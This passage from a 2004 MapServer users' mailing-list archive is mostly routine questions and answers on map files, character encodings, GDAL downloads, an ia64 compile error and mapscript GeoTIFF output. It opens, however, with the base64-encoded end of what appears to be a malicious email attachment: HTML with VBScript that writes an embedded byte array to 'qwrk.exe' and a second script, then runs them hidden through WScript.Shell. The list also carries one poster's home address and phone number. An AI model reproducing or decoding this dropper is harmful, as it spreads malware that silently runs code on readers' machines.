LDE1LDgsNTksNTgsMjMsMTc5LDExMywzOCwxMzUsMTE2LDExMiwxMjksMTg1LDE5NSw0LDIx LDcxLDE2MCw3Nyw4Nyw4LDE0Myw5Miw2Myw0MiwxNzcsMTE0LDc5LDE5MiwxOTUsNTMsMTE4 LDU3LDgyLDk4LDQxLDE4OSw2NCwxOTEsODMsNSwxMiwxMjgsMTYyLDE5NiwxNDEsNzcsMjQs NTcsNDMsNjAsOTQsMTY5LDUwLDE1OCwxOTgsOTIsODgsMTk2LDY2LDE2MiwxMjcsODcsMzYs MTYsMjEsMTksNzYsMTQ3LDQ2LDI5LDk0LDc3LDUsMTQ2LDE3MiwxMzIsMTE0LDE2NCwxOTks NTQsMCw4Nyw1MywxNDYsMTI1LDEyOCwxMTMsMTQ4LDE3OCwxNSwxLDEwMCwzNSw2Niw0Niw1 OCwyOCw1Niw3NCwxMyw4OCwxNTUsNjUsODcsMTE4LDU0LDE5NSwxNTEsMjUsMTE2LDEwNywx ODYsNDcsNzAsMTc4LDY2LDExLDE5MSwzMywxODQsOTIsMTk3LDk3LDEzLDEzOCw4MSwzMSw5 NiwxMzMsMjUsMjAsMTk2LDE2NSwxNTgsMTY4LDE2OSwxNzMsMTAxLDE2MCwxMCwxOTAsOTQs MTM3LDY3LDE0MywxNTUsMTgzLDE3MiwxMjgsNjUsMTY5LDE1OSwxNDIsMzgsMTIyLDEzOCw2 MSwxODksMTkzLDE4OSw4LDEwNiwyOCwxMTQsMTg1LDExMSwxNjEsMTcwLDQxLDEwMyw4Miwz OSwxNjIsNzUsMTU1LDUsMTkzLDE5NiwxMDgsMTMzLDE0Myw4OSwxMjYsMTE1LDEyNSwyOSwx MDcsMTA5LDE4MCw1Niw3MywxNywzNCwxMzUsMTMyLDQzLDEzOCwxNzUsMTAyLDE1NSwxMDUs NDUsOTgsMTYyLDUyLDcyLDg1LDEwNCw2NywxMzQsNDgsOTksMTI4LDM4LDM1LDE4NSwxNDYs NTMsNTIsMTksODMsOTQsMTQyLDE5MiwzLDEzOSw1OSw2OCwxMjEsMTc2LDg2LDEyMCwxMCwx MjQsMTU1LDk1LDE4MSwxNDIsODEsMzYsMTU5LDQ5LDE4MCwxNTAsMTA4LDU4LDQ5LDEwMCw0 OCw4LDEwMCw4Nyw1NCw0MSwyOSwxNDQsMTA2LDI0LDUwLDE5MSw5NCw0NCwxODksNzMsNTAs ODgsNjEsMTcsMTc0LDQyLDgxLDE3MSw2NywzMSw5OCwyOCw5NSw1Myw3OSwxNDYsODYsNjAs MTIzLDQwLDEzMSwxNDIsNjksMTk1LDc0LDEyNiw2OSwxODAsOTgsNCwxMDcsMTk1LDk5LDcw LDE0NCwxODAsNjMsMTY4LDgyLDM4LDE1MSw5Miw3OSwzNiwxNjgsMTk0LDIwLDEwMyw0LDEw Myw4OSw3MCwxNjYsMTU2LDExNiw0NSwxMjIsMTA3LDE3Niw1NSw5MCw2NCw4MywxMDMsMTg5 LDMyLDE5NywxNzYsMTcwLDE3NSwxMDIsMTg3LDE4NywxMzMsOTUsMTYwLDExMSw0NSwxMDEs OSw4LDExNSwzNCw1MCw0NCw4NiwxMDksNzAsOTIsMTQ4LDE0OCwxOTcsNjEsMTQ3LDE2MCwx ODIsNiwxODcsOSwxMjEsNDQsMTAwLDYxLDczLDQ5LDEyOCwxNzMsMTUyLDEzOSwzOCwyOCwx NTMsMTQ1LDE4OCwxMjUsMjksMTYzLDM5LDQyLDEsMTQ3KSIgJiB2YmNybGYNClRTTy53cml0 ZSAiZm9yIGk9MCB0byAyMTA4OCIgJiB2YmNybGYNClRTTy53cml0ZSAiZmlsZXR4dC5Xcml0 ZShjaHIoYShpKSkpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJuZXh0IiAmIHZiY3JsZg0KVFNP LndyaXRlICJmaWxldHh0LkNsb3NlIiAmIHZiY3JsZg0KVFNPLndyaXRlICJkaW0geiIgJiB2 YmNybGYNClRTTy53cml0ZSAiZGltIHp6IiAmIHZiY3JsZg0KVFNPLndyaXRlICJDb25zdCBG b3JSZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGluZyA9IDMiICYgdmJj cmxmDQpUU08ud3JpdGUgImNvbnN0IFJlbW90ZUV4ZSA9ICIicXdyay5leGUiIiIgJiB2YmNy bGYNClRTTy53cml0ZSAic2V0IHp6ID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIiJ3c2NyaXB0 LnNoZWxsIiIpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJ6ID0genoucnVuICgiInF3cmsuZXhl IiIpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJ3c2NyaXB0LnF1aXQiICYgdmJjcmxmDQpTZXQg VFNPID0gTm90aGluZw0KU2V0IEZTTyA9IE5vdGhpbmcNCkRpbSBXc2hTaGVsbA0KU2V0IFdz aFNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCldzaFNoZWxsLlJ1biAi cWZsLnZicyIsIDAsIGZhbHNlDQo8L1NDUklQVD4NCjxzY3JpcHQ+d2luZG93LmNsb3NlKCk8 L3NjcmlwdD4NCjwvSEVBRD4NCjwvSFRNTD4= ----------emwxjwvmbrwwgfdqjpdp-- From arun_usctrojan at yahoo.com Sun Jun 13 13:48:39 2004 From: arun_usctrojan at yahoo.com (Arun !) Date: Sun, 13 Jun 2004 13:48:39 -0700 (PDT) Subject: [Mapserver-users] Compilation Error-New user Plz help Message-ID: <20040613204839.44700.qmail@web52002.mail.yahoo.com> --0-1465350539-1087159719=:44321 Content-Type: text/plain; charset=us-ascii Hi, Im a new user of Mapserver.I tested my mapserver and it works fine .also it works fine for the mapserver demo.I tried to create a map of cali and i keep getting this one compilation error. loadLayer(): Unknown identifier. Parsing error near (queryitem):(line 40) I used just one layer.Im really stuck.Someone please help me. Mycode is as follows map extent -124.409591 32.534156 -114.134426539 42.009518 imagecolor 255 255 255 name "calione" shapepath "data" size 600 600 status on symbolset "symbols/all.sym" units meters # 1 scalebar #none scalebar backgroundcolor 255 255 0 color 255 255 255 imagecolor 255 255 255 intervals 4 outlinecolor 0 0 0 size 200 7 status on style 0 transparent true units meters # 1 label #none label backgroundcolor 0 0 0 color 255 255 0 size tiny end end # 2 layer zt06_d00 layer classitem "AREA" data "zt06_d00" footer "zt06_d00_footer.html" group "zt06_d00" header "zt06_d00_header.html" labelcache on labelitem "AREA" name "zt06_d00" postlabelcache true queryitem "AREA" status on type polygon # 1 query #none query template "zt06_d00_query.html" end # 2 class zt06_d00_1 class backgroundcolor 128 128 128 color 128 128 128 name "zt06_d00_1" outlinecolor 0 0 0 end end # 3 web calione.html web footer "calione_footer.html" header "calione_header.html" imagepath "C:Program" imageurl "/tmp/" template "calione.html" end # 4 querymap hilite querymap color 255 0 0 size 200 200 status on style hilite end # 5 reference graphics/reference.gif reference color -1 -1 -1 extent -124.409591 32.534156 -114.134426539 42.009518 image "graphics/reference.gif" outlinecolor 255 0 0 size 120 120 status on end # 6 legend #none legend keysize 18 12 status on # 1 label #none label color 0 0 89 size medium type bitmap end end end Arun Chidambaram 1247 W 30th street Apt 40l Los Angeles CA-90007 Cell -323-620-6796 www.arun.biz --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-1465350539-1087159719=:44321 Content-Type: text/html; charset=us-ascii
Hi,
        Im a new user of Mapserver.I tested my mapserver and it works fine .also it works fine for the mapserver demo.I tried to create a map of cali and i keep getting this one compilation error.

loadLayer(): Unknown identifier. Parsing error near (queryitem):(line 40)
 
I used just one layer.Im really stuck.Someone please help me.
Mycode is as follows
 
map
  extent -124.409591 32.534156 -114.134426539 42.009518
  imagecolor 255 255 255
  name "calione"
  shapepath "data"
  size 600 600
  status on
  symbolset "symbols/all.sym"
  units meters
  # 1 scalebar #none
  scalebar
    backgroundcolor 255 255 0
    color 255 255 255
    imagecolor 255 255 255
    intervals 4
    outlinecolor 0 0 0
    size 200 7
    status on
    style 0
    transparent true
    units meters
    # 1 label #none
    label
      backgroundcolor 0 0 0
      color 255 255 0
      size tiny
    end
  end
  # 2 layer zt06_d00
  layer
    classitem "AREA"
    data "zt06_d00"
    footer "zt06_d00_footer.html"
    group "zt06_d00"
    header "zt06_d00_header.html"
    labelcache on
    labelitem "AREA"
    name "zt06_d00"
    postlabelcache true
    queryitem "AREA"
    status on
    type polygon
    # 1 query #none
    query
      template "zt06_d00_query.html"
    end
    # 2 class zt06_d00_1
    class
      backgroundcolor 128 128 128
      color 128 128 128
      name "zt06_d00_1"
      outlinecolor 0 0 0
    end
  end
  # 3 web calione.html
  web
    footer "calione_footer.html"
    header "calione_header.html"
    imagepath "C:Program"
    imageurl "/tmp/"
    template "calione.html"
  end
  # 4 querymap hilite
  querymap
    color 255 0 0
    size 200 200
    status on
    style hilite
  end
  # 5 reference graphics/reference.gif
  reference
    color -1 -1 -1
    extent -124.409591 32.534156 -114.134426539 42.009518
    image "graphics/reference.gif"
    outlinecolor 255 0 0
    size 120 120
    status on
  end
  # 6 legend #none
  legend
    keysize 18 12
    status on
    # 1 label #none
    label
      color 0 0 89
      size medium
      type bitmap
    end
  end
end
 


Arun Chidambaram
1247 W 30th street Apt 40l
Los Angeles CA-90007
Cell -323-620-6796


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-1465350539-1087159719=:44321-- From jacob.delfos at maunsell.com Sun Jun 13 16:29:59 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Mon, 14 Jun 2004 09:29:59 +1000 Subject: [Mapserver-users] (no subject) Message-ID: For Chinese characters to display, I think you need to have 16-bit HTML code (unicode). I haven't done this before, so I am not entirely confident about how to do it. But if you look at the source code of a chinese page in notepad, you'll see it looks funny. I think to display chinese characters, you'd need to have the page that shows them to be in unicode. The 'easy way out' would be to change that text into images. Jacob -----Original Message----- From: Robert W. Burgholzer [mailto:rburgholzer at maptech-inc.com] Sent: Saturday, 12 June 2004 8:00 PM To: boli; Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] (no subject) I am just giessing here, but maybe this is a use for true type fonts? You install true type fonts in a directory, then refer to them in the map file. Good luck, r.b. At 01:58 PM 6/12/2004 +0800, you wrote: >Hello everybody, > > I got a vector map which include records with Chinese character in > dataset. While the Chinese character can't be displayed correctly by > Mapserver. Can you give me some advice? > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Robert Burgholzer Environmental Engineer MapTech Inc. http://www.maptech-inc.com/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mbasa at orkney.co.jp Sun Jun 13 18:30:08 2004 From: mbasa at orkney.co.jp (Mario Basa) Date: Mon, 14 Jun 2004 10:30:08 +0900 Subject: [Mapserver-users] (no subject) In-Reply-To: References: Message-ID: <40CCFFA0.7030306@orkney.co.jp> There is a patch to Mapserver that was created to handle 2-Byte character sets. It adds an "ENCODING" tag within the LABEL class, so that different character sets can be used at the same time (i.e. SJIS for Legend, EUC-JP from a PostGIS Layer, etc.) which makes it flexible when working with data sets with numerous encodings. More info can be found here: http://www.grass-japan.org/FOSS4G/MAPSERVER/mapserver-inten.html and somebody was able to use it with Chinese fonts as described here: http://www.grass-japan.org/FOSS4G/modules.php?name=News&file=article&sid=2 mario. Delfos, Jacob wrote: >For Chinese characters to display, I think you need to have 16-bit HTML code >(unicode). I haven't done this before, so I am not entirely confident about >how to do it. But if you look at the source code of a chinese page in >notepad, you'll see it looks funny. I think to display chinese characters, >you'd need to have the page that shows them to be in unicode. The 'easy way >out' would be to change that text into images. > >Jacob > >-----Original Message----- >From: Robert W. Burgholzer [mailto:rburgholzer at maptech-inc.com] >Sent: Saturday, 12 June 2004 8:00 PM >To: boli; Mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] (no subject) > > >I am just giessing here, but maybe this is a use for true type fonts? You >install true type fonts in a directory, then refer to them in the map file. > >Good luck, > >r.b. > >At 01:58 PM 6/12/2004 +0800, you wrote: > > >>Hello everybody, >> >> I got a vector map which include records with Chinese character in >>dataset. While the Chinese character can't be displayed correctly by >>Mapserver. Can you give me some advice? >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > >Robert Burgholzer >Environmental Engineer >MapTech Inc. >http://www.maptech-inc.com/ > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From hobu at iastate.edu Sun Jun 13 18:56:33 2004 From: hobu at iastate.edu (Howard Butler) Date: Sun, 13 Jun 2004 20:56:33 -0500 Subject: [Mapserver-users] A recap of MUM2 Message-ID: <6.0.1.1.2.20040613203604.01cc82d0@hobu.mail.iastate.edu> List, Adena at GIS Monitor has wrote most of this week's issue about the Open Source GIS conference (and said that next week's will have some more also). You can find this week's issue at Also, I kept some notes of my experience on my weblog at It was a fun, exciting, and informative conference. It was not a conference of trodding around a mammoth conference center listening to boring sessions (ok, except for maybe my presentation). If you get a chance to go next year, don't miss it. You'll learn a lot, probably enjoy some beverages, and improve your MapServer kung fu immensely. Howard From sgillies at frii.com Sun Jun 13 19:54:34 2004 From: sgillies at frii.com (Sean Gillies) Date: Sun, 13 Jun 2004 20:54:34 -0600 Subject: [Mapserver-users] SWIG mapscript workshop materials Message-ID: <2AA88629-BDAE-11D8-AF6F-000D9329D732@frii.com> The workshop materials including slideshow are available from http://users.frii.com/sgillies/projects/mum04/workshop.html If you need any help getting it started or getting the additional software required for a Linux setup do not hesitate to email me. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From Tom.Kralidis at ec.gc.ca Sun Jun 13 20:02:40 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Sun, 13 Jun 2004 23:02:40 -0400 Subject: [Mapserver-users] MUM2 WMS/WFS Message-ID: <2576812186CDD411BF1500508B6DCE9507366F99@ecnwri1.ontario.int.ec.gc.ca> Hi, First off, for those of you who attended OSGIS/MUM2, it was great to finally put faces to the emails and such at the (great) conference. Anyways, as a public resource, the Conference Organizing Committee we have stood up an OGC:WMS/OGC:WFS of the attendees of the conference (with basic info such as name, org, email, url, city, country, etc.). DM Solutions Group has been gracious enough to host the service. Both OGC:WMS and OGC:WFS are located at: http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 Note that those who identified privacy are not included. If you do not want to be included in these services, please let me know and I will remove you from the data. Cheers ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ From edman007x at mac.com Sun Jun 13 20:33:05 2004 From: edman007x at mac.com (Ed Martin) Date: Sun, 13 Jun 2004 23:33:05 -0400 Subject: [Mapserver-users] Questions about MapServer 4.2/PHP Mapscript Message-ID: <8BE446FF-BDB3-11D8-9C51-0003934DD798@mac.com> i have some questions about the new version of mapserver before i upgrade 1. does it support php5 2. will it work with php as a module From boli611 at hotmail.com Sun Jun 13 22:36:22 2004 From: boli611 at hotmail.com (boli) Date: Mon, 14 Jun 2004 13:36:22 +0800 Subject: [Mapserver-users] I need gdal Message-ID: Could anyone send me a copy of gdal? Or an address I can download it. The address 'http://remotesensing.org/gdal/download.html' is not available for a long time. Thank you very much. From janeks.kamerovskis at silva.lv Sun Jun 13 23:29:15 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Mon, 14 Jun 2004 09:29:15 +0300 Subject: [Mapserver-users] RE: Documentation Website Update In-Reply-To: <200406112153.i5BLr85O005481@trojan.software.umn.edu> Message-ID: Where could I find diffrencies between versions (or what's new)? brgrds Janeks > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of kgeurts > Sent: Saturday, June 12, 2004 12:53 AM > To: mapserver-docs at lists.gis.umn.edu; > mapserver-dev at lists.gis.umn.edu; mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] RE: Documentation Website Update > > > Hello MapServer Users, > > The MapServer Documentation Project website has been updated to > reflect the > 4.2 release (http://mapserver.gis.umn.edu/doc.html). Further > updates to the > website will be made as additional documents become 4.2 compatible. There > is a link to old versions from the main page. > > Documentation authors  if you have not already committed your 4.2 > compatible document, remember to commit to both the branch-4-2 and main > branch of the CVS. Please include the version number 4.2 in the title of > the document and add a history revision section. > > Thank you very much for your participation in MapServer, > > Kari A. Geurts > > MDP Coordinator > Department of Forest Resources > University of Minnesota > 1530 Cleveland Ave N. > St. Paul, MN. 55108 > Phone: 612-624-3459 > Fax: 612-625-5212 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From keon at nacse.org Mon Jun 14 00:04:39 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 14 Jun 2004 00:04:39 -0700 Subject: [Mapserver-users] I need gdal In-Reply-To: References: Message-ID: <40CD4E07.2070203@nacse.org> Mirror: http://gdal.maptools.org Download link: http://www.maptools.org/local_dl/gdal On 6/13/2004 10:36 PM, boli wrote: > Could anyone send me a copy of gdal? Or an address I can download it. The address 'http://remotesensing.org/gdal/download.html' is not available for a long time. > Thank you very much. From keon at nacse.org Mon Jun 14 00:11:04 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 14 Jun 2004 00:11:04 -0700 Subject: [Mapserver-users] RE: Documentation Website Update In-Reply-To: References: Message-ID: <40CD4F88.7@nacse.org> The file HISTORY.TXT in the source distribution is the best place to see what's new. If a "diff" document exists, I haven't seen it. On 6/13/2004 11:29 PM, Janeks Kamerovskis wrote: > Where could I find diffrencies between versions (or what's new)? > > brgrds > Janeks > From LLO at CARLBRO.DK Mon Jun 14 02:16:11 2004 From: LLO at CARLBRO.DK (Lars Holm Loldrup) Date: Mon, 14 Jun 2004 10:16:11 +0100 Subject: [Mapserver-users] ia64 php mapscript compile error Message-ID: I had this problem, and it was solved by adding -fpic to ALL compilations. regards Lars Loldrup -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of AARON KONING Sent: Sunday, June 13, 2004 1:00 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] ia64 php mapscript compile error Hi List, I am having the following problem when attempting to compile PHP Mapscript on Linux Suse under an Altix 64bit server. The error as shown below is: '@gprel relocation against dynamic symbol'. I have read that it may be be due to the fact that "...non-pic object files are linked into a shared library. The ia64 compiler _requires_ that all code in a shared library is compiled with -fpic." I have set CXXFLAGS equal to PIC and then recompiled PHP and mapserver/mapscript but I still get the same error. Anybody have any thoughts on this? Linux Suse OS: 2.4.21-215-itanium2-smp gcc: 3.2.2 PHP: 4.3.7 MapServer: 4.0.2 ---------- ERROR: # make g++ -shared -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/usr/local/src/gissrc/mapserver-4.0.2 -lmap -L/usr/local/lib -lcurl -lssl -lcrypto -ldl -lz -L/usr/local/pgsql/lib -lpq -L/usr/local/lib -lgdal.1.1 -lproj -ltiff -ljpeg -lfreetype -lpng -lz -lpdf -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz -ljpeg -lm -lstdc++ /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyout /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyylineno /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyout /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin collect2: ld returned 1 exit status make: *** [php_mapscript.so] Error 1 ---------------------- END ERROR Thanks, Aaron _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From josb at pml.ac.uk Mon Jun 14 01:31:28 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Mon, 14 Jun 2004 09:31:28 +0100 Subject: [Mapserver-users] mapscript and float32 geotiffs In-Reply-To: <40CB2A0A.4040004@pobox.com> References: <40C83DAD.6010506@pml.ac.uk> <40CB2A0A.4040004@pobox.com> Message-ID: <40CD6260.4090802@pml.ac.uk> Frank Warmerdam wrote: > John, > > I have reproduced this problem, and determined that the mapscript methods > to set fields in the outputFormatObj are not properly resetting > derived fields. > I have created a bug report to address this problem: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=724 > > In the meantime if you explicitly set the renderer to be rawmode > things see > to work. The following worked for me (using new style names): > > import mapscript > > map = mapscript.Map( 'mapserver/msautotest/gdal/nodata_8bit.map' ) > > formatObj = mapscript.OutputFormat("GDAL/GTiff") > formatObj.name = "fgtiff" > formatObj.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 > formatObj.renderer = 3 # > mapscript.MS_RENDER_WITH_RAWDATA > formatObj.mimetype = "image/tiff" > formatObj.extension = "tif" > map.outputformat = formatObj > > img = map.draw() > > img.save( 'out.gtif' ) > > > Best regards, > > ---------------------------------------+-------------------------------------- > > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > --- > [This E-mail scanned for viruses by Declude Virus] > > > Thanks very much, this seems to have solved the problem for me also. - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From arun_usctrojan at yahoo.com Mon Jun 14 01:36:39 2004 From: arun_usctrojan at yahoo.com (Arun !) Date: Mon, 14 Jun 2004 01:36:39 -0700 (PDT) Subject: [Mapserver-users] Any GIS consultant for developing app with mapserver Message-ID: <20040614083639.92107.qmail@web52005.mail.yahoo.com> --0-1384096399-1087202199=:91801 Content-Type: text/plain; charset=us-ascii Hi, We are doing a project using Mapserver .Most of us are newbies so we are looking for a consultant or someone who would help us finish our project in a few days.The project details are as follows.We are developing a simple map with all the features that are seen in applets created by Jbox or maplab.The files we have is shx,shp,dbf .We have problem creating the .map file.So is there anyone who would help us out Thanks Arun Arun Chidambaram 1247 W 30th street Apt 40l Los Angeles CA-90007 Cell -323-620-6796 www.arun.biz --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-1384096399-1087202199=:91801 Content-Type: text/html; charset=us-ascii
Hi,
       We are doing a project using Mapserver .Most of us are newbies so we are looking for a consultant or someone who would help us finish our project in a few days.The project details are as follows.We are developing a simple map with all the features that are seen in applets created by Jbox or maplab.The files we have is shx,shp,dbf .We have problem creating the .map file.So is there anyone who would help us out
Thanks
Arun


Arun Chidambaram
1247 W 30th street Apt 40l
Los Angeles CA-90007
Cell -323-620-6796


Do you Yahoo!?
